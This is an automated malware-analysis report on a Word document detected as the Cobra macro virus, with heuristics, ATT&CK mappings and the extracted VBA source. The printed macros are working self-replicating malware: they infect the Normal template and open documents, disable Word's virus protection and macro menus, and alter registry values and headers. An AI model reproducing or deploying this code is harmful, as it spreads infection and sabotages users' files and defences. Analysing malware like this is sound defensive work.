MALICIOUS
340
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File: User Execution
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoClose macros, along with the presence of a Shell() call, indicate an intent to execute arbitrary code upon opening or closing the document. The ClamAV detection and the script's comment 'An intelligent member of Cobra family' strongly suggest it belongs to the Cobra family. The script also attempts to read a value from the registry key HKEY_LOCAL_MACHINE\Cobra, which is included as an IOC.
Heuristics 7
-
ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cobra-12
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 19903 bytes |
SHA-256: c56bfebd6d03f8d407043c05227216976cb1bcc698ec74327cdb70945fcded25 |
|||
|
Detection
ClamAV:
Doc.Trojan.Cobra-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AAX_10C"
'AAX Version 1.0C
'An intelligent member of Cobra family
Sub FileExit()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
WordBasic.FileExit
End Sub
Sub AutoOpen()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
End Sub
Sub AutoClose()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub FileOpen()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
Dialogs(wdDialogFileOpen).Show
End Sub
Sub FileSave()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub FileClose()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
WordBasic.FileClose
End Sub
Sub FileSaveAs()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf")
CD = Format(Date, "mm/dd/yyyy")
If DateValue(CD) - DateValue(ID) > (30 * 6) Then
HD = ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary)
If HD <> "AAX" Then
ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Delete
ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.InsertAfter ("AAX")
End If
End If
Dialogs(wdDialogFilePrint).Show
End Sub
Sub InfectDocNTemp()
On Error Resume Next
For Each ID In NormalTemplate.VBProject.VBComponents
If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=ID.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
TempInf = False
For Each ID In NormalTemplate.VBProject.VBComponents
If ID.Name = "AAX_10C" Then
TempInf = True
End If
Next
If TempInf = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=ActiveDocument.AttachedTemplate, Name:="AAX_10C", _
Object:=wdOrganizerObjectProjectItems
TempInf = True
End If
For Each DF In Documents
For Each ID In DF.VBProject.VBComponents
If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" And _
ID.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=DF.Name, _
Name:=ID.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
Next
For Each DF In Documents
DocInf = False
For Each ID In DF.VBProject.VBComponents
If ID.Name = "AAX_10C" Then
DocInf = True
End If
Next
If DocInf = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=DF.Name, Name:="AAX_10C", Object:=wdOrganizerObjectProjectItems
DF.SaveAs FileName:=DF.Name
End If
Next
End Sub
Sub MnuOff()
On Error Resume Next
CustomizationContext = NormalTemplate
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
End Sub
Sub RegE()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra" Then
GetInf = Chr(13) + "' " + String(80, Chr(178)) + Chr(13) + "' " + Format(Date, "dd/mm/yyyy") + Chr(13) + _
"' " + System.PrivateProfileString("", "HKEY_LOC
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.